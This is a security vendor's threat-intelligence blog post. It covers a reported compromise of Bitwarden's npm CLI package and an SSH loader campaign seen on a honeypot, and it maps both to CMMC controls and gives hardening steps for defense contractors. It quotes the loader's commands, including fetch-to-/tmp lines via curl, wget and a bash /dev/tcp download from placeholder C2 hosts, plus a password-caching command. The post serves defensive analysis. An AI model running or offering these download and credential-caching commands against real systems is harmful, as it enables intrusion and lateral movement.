← Back to Insights

The 93-Minute Supply Chain Attack: What Bitwarden's npm Compromise Means for DIB Contractors

CMMC

The short version

On the night of April 22, 2026, for exactly 93 minutes, the official command-line interface for Bitwarden, one of the most widely used password managers in the world, was shipping credential-stealing malware. Anyone who ran npm install on @bitwarden/[email protected] during that window got a package that quietly harvested their npm tokens, GitHub tokens, SSH keys, and Amazon Web Services, Microsoft Azure, and Google Cloud credentials, then exfiltrated the stolen data by creating public repositories on the victim's own GitHub account.

Bitwarden's vaults were not breached. Bitwarden's production systems were not breached. What was breached was a GitHub Action that Bitwarden's continuous integration pipeline depended on: checkmarx/ast-github-action. That action had been compromised upstream as part of a broader campaign against the Checkmarx ecosystem. When Bitwarden's continuous integration ran its normal release job, the compromised action injected malicious code into the command-line package on its way to npm.

A trusted vendor's trusted vendor got weaponized. The blast radius was the entire population of Bitwarden command-line users, including developers, system administrators, and automation pipelines at Defense Industrial Base (DIB) contractors and their primes.

For DIB contractors pursuing Cybersecurity Maturity Model Certification (CMMC) Level 2 certification, this is not a news story. It is a working example of exactly what the Supply Chain Risk Management (SR) control family was written to address.

What actually happened

The attack chain looks like this:

  1. Upstream compromise. Threat actors gained push access to the repository for checkmarx/ast-github-action, a GitHub Action used by thousands of continuous integration pipelines to run Checkmarx code scanning.
  2. Injected payload in the action. The modified action contained code that, when executed inside another repository's continuous integration run, could read secrets and modify in-flight artifacts.
  3. Bitwarden's pipeline ran. On April 22 at approximately 17:57 ET, Bitwarden's scheduled command-line release job executed. The compromised Checkmarx action ran as part of that job.
  4. The package was poisoned. Before the npm publish step, the malicious action modified the package so that its preinstall script and its command-line entry point both called a custom loader. The loader checked for the Bun runtime, downloaded it if absent, and used it to execute an obfuscated JavaScript payload.
  5. Exfiltration. The payload collected npm authentication tokens, GitHub personal access tokens, SSH private keys, and cloud credentials from local credential files for AWS, Azure, and GCP. It also collected secrets from environment variables typically used by AI tooling. The harvested data was encrypted and written into a new public repository created on the victim's own GitHub account.
  6. Detection and takedown. At approximately 19:30 ET, Bitwarden detected the anomaly, revoked the compromised credentials, deprecated the malicious npm release, and began remediation. The malicious package was live for roughly 93 minutes.

Bitwarden's own investigation found no evidence that end-user vault data was accessed or that production systems were compromised. The exposed surface is the population of users who ran an install or an automated update on that package during the 93-minute window.

The critical detail for DIB contractors: the attack did not require the user to do anything unusual. A routine npm install inside a continuous integration pipeline, a developer workstation, or a build server was sufficient to exfiltrate every cloud credential, every SSH key, and every API token that process had access to.

What our honeypot caught that VirusTotal missed

This is where the story stops being about Bitwarden and starts being about the broader category.

Trinity Data Solutions operates a threat-monitoring honeypot as part of our threat intelligence program. Between April 13 and April 24, 2026, a 12-day window that contains the April 22 Bitwarden publication, our honeypot logged a separate, structurally related campaign. The operators were different, the vector was different (exposed SSH, not npm), but the tradecraft belongs to the same category: automated, multi-stage, confirm-then-execute tooling designed to harvest credentials and enable lateral movement.

Here is what we observed.

Five source IPs, all fresh infrastructure, all Chinese or Azure cloud. Three Alibaba Cloud addresses, one ChinaNet backbone address, and one rented Microsoft Azure address. All five had zero prior reports on public threat feeds including DShield at the time of our first capture.

Three command-and-control endpoints, all on non-standard high ports (60102, 60105, 60123). By the time VirusTotal eventually flagged one of them, 121.4.97.26:60105, submitted to VirusTotal on April 20, seven days after our first capture of it on April 13, the other two were still not on VirusTotal at all. They were still not on VirusTotal as of late April 2026.

Identical tradecraft across all five source IPs. The command sequence was consistent enough that we can describe it as a single loader family, executed by five different automated operators against different victim candidates.

The loader has four distinctive elements worth understanding.

1. Architecture fingerprinting by reading /bin/echo

The first meaningful command in every session was:

echo 1 > /dev/null && cat /bin/echo

The echo 1 > /dev/null prefix is a no-op wrapper designed to slip past naive egress keyword filters. The action is cat /bin/echo: the attacker reads the raw bytes of the victim's own /bin/echo binary over the SSH channel. This gives them the executable format class (32-bit versus 64-bit), endianness, target architecture, and the dynamic linker path with the required library version.

This is a more reliable architecture fingerprint than uname -m, because uname reports the kernel's architecture while /bin/echo reports the binary architecture the victim actually executes. It is the right question for picking which payload to drop. It is also quieter than uname on endpoint monitoring tools that specifically flag uname as reconnaissance.

2. Triple-layer fetch ending in pure-bash /dev/tcp

After identifying architecture, the loader attempts to fetch a second-stage binary through three fallback channels, in order:

  1. curl http://<C2>:<port>/linux -o /tmp/<random>
  2. wget http://<C2>:<port>/linux -O /tmp/<random>
  3. exec 6<>/dev/tcp/<C2>/<port> && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/<random>

Layer 3 is the operationally interesting one. It requires only a bash build compiled with network redirections, which is the default on virtually every mainstream distribution. It invokes no external binary. It does not create a process tree entry for curl or wget. An environment hardened against curl and wget will miss this path entirely. Bash itself is the download tool.

The defensive implication is uncomfortable for any hardening checklist that lists "block curl and wget from untrusted users" as sufficient. It is not sufficient.

3. A 1,700-character per-victim tasking blob

Each execution passes a roughly 1,700-character base64-encoded argument to the dropped binary at launch. The effective payload after decoding is about 1,275 bytes, large enough to carry a per-victim configuration: a command-and-control rotation list, a campaign identifier, a kill-switch token, and an initial task list.

This design moves per-victim state off the command-and-control server and into the victim-side launch command. The benefit for the attacker is twofold. First, the server becomes stateless, a static file server delivering the same binary every time, which is cheap to operate and easy to rotate. Second, subsequent traffic from the compromised host is indistinguishable from benign traffic, because the interesting per-victim context was delivered once, in the initial argument, and never needs to be reloaded.

4. Password caching at /tmp/.opass

The most operationally important detail. After successful SSH authentication, the loader writes the working password to a hidden file:

echo Aa123456 > /tmp/.opass

The cached string is the attacker's own brute-forced password (we saw Aa123456 repeatedly across independent sources). The point is not to steal a victim credential. It is to persist a known-working credential on disk so the dropped binary can attempt lateral movement against neighboring hosts on the same subnet without having to rerun the brute force.

This is the supply-chain-adjacent element of this campaign. Once the loader succeeds on any host, the working credential becomes part of that host's persistent footprint. A subsequent compromise elsewhere on the network, through a phishing click or a software vulnerability, plus access to the cached credential, gives the attacker ready-made lateral movement material.

Why these two stories belong in the same analysis

The Bitwarden incident and the loader campaign are not attributable to the same actor. We have no evidence connecting them and we do not make that claim.

They do, however, share a structural DNA that defenders need to take seriously.

Both are multi-stage. The initial payload's job is not to cause damage. Its job is to deliver a second-stage payload after confirming the target is worth the effort.

Both are confirm-then-execute. The Bitwarden payload confirmed it was running in a developer-like environment before reaching for tokens. The SSH loader confirmed architecture, confirmed storage, and confirmed network reachability before pulling the real binary.

Both are credential-focused. The Bitwarden payload stole authentication material for the victim's identity footprint. The SSH loader cached working credentials on disk for lateral reuse.

Both operate from fresh, low-reputation infrastructure. The compromised Checkmarx action was a trusted vendor artifact with no prior flags. Our loader campaign's infrastructure had no prior reports on DShield and was still missing from most of VirusTotal weeks later.

Both expose a defender assumption that no longer holds: that reputation-based signals will arrive in time to help.

CMMC Level 2 control mapping

For DIB contractors pursuing or maintaining CMMC Level 2 certification, this incident is a live-fire example of what several SR and SI controls are meant to prevent or detect.

ControlWhat the Bitwarden incident tests
SR.L2-3.12.4 (supply chain risk management plan)Do you have a documented plan that addresses the risk of a trusted software vendor's pipeline being compromised in a way that affects your endpoints?
SR.L2-3.12.5 (supply chain vulnerability identification)Do you have a process to identify and evaluate new supply chain vulnerabilities, including ones that affect tools your developers install via package managers?
CM.L2-3.4.2 (security configuration enforcement)Are your developer workstations and build servers configured to prohibit unreviewed package-manager installs? Are lockfile hashes verified?
SI.L2-3.14.2 (malicious code protection)Do you have detection for post-install scripts that download additional runtimes and execute obfuscated code? Most commercial antivirus does not catch this.
AU.L2-3.3.1 (audit event generation)Do your developer workstations log install events, including the resolved package version and the hash of the package?
IR.L2-3.6.1 (incident handling capability)If you learn tomorrow that a package you depend on was compromised for 93 minutes three days ago, do you have a runbook that tells you which systems installed it and what credentials to rotate?

If the answer to any of these is "not really," this incident has just surfaced a finding your assessor would eventually surface for you, with less time to fix it.

What DIB contractors should do

Four actions blunt this class of attack. Three are CMMC-aligned hardening steps. The fourth is the incident-response check for the 93-minute window itself.

1. Pin every GitHub Action by commit identifier. Not by tag. Not by branch. Tags and branches can be moved by whoever owns the action's repository. Commit identifiers cannot. If the compromised action had been pinned by commit across all downstream users, only the commits that had actually been reviewed could have been executed, and the compromised commit would have been visibly different. This maps to CM.L2-3.4.2. Enforce it in policy.

2. Never install the affected tool from the package manager. Use the standalone binary release from the vendor's own releases page. The standalone binary is not affected by this incident because its build pipeline does not flow through the compromised action. If you maintain internal documentation or a secure-baseline image, remove any package-manager install instructions and replace them with the standalone-binary install.

3. Short-lived tokens. Rotate pipeline secrets. No long-lived personal access tokens in pipelines. The reason the payload was devastating is that many developers and pipelines still carry personal access tokens with broad scope and no expiration. A stolen token with 90-day expiry gives an attacker 90 days of access. A stolen token with 1-hour expiry gives an attacker 1 hour. This maps to IA.L2-3.5.2 and IA.L2-3.5.3.

4. Run the incident-response check for April 22. For every developer workstation, build runner, and build server in scope, determine whether the affected version was installed or updated between 17:57 ET and 19:30 ET on April 22, 2026. Package logs, lockfile diffs, and build job logs are the three places to look. Any system that installed that version during that window must be treated as compromised: rotate every credential that process had access to, including npm tokens, GitHub tokens, SSH keys, cloud credentials, and any API keys in environment variables. Check the developer's GitHub account for unexpected public repositories created on April 22 or 23, the exfiltration channel.

For detection going forward, add these monitors:

The trust boundary question

Your managed service provider is a dependency in this chain, whether you have acknowledged that in writing or not. The tools your provider uses to do their job, their password managers, their pipelines, their GitHub Actions, their packages, are part of your attack surface.

Three questions to ask your provider:

  1. How do you pin GitHub Actions in the pipelines that deploy or configure our environment?
  2. Where do the command-line tools your engineers use come from, package managers, or vetted standalone binaries?
  3. What monitors your engineers' developer accounts for signs of credential exfiltration, including unexpected new public repositories?

If your provider cannot answer these in one sitting, that is itself the answer.

Appendix A: Indicators of compromise

From the architecture-aware loader campaign observed on our honeypot April 13 to 24, 2026, for blue teams to search against.

Attacker source IPs (SSH):

Command-and-control delivery endpoints (HTTP, non-standard ports):

Host-based indicators:

Appendix B: For senior living operators

The companion piece on our senior-living practice site reframes this same incident through a HIPAA and vendor-management lens: Your IT Provider's Toolchain Is Now Part of Your HIPAA Attack Surface.

Sources

Need an SDVOSB IT partner that monitors supply chain threats?

TDS-IS operates honeypot-based threat monitoring and CMMC-aligned supply chain controls, and responds to Sources Sought notices within 24 hours with current SPRS score and CMMC posture. CAGE 8J6T6, UEI H883URPYC4J7.

View Capability Statement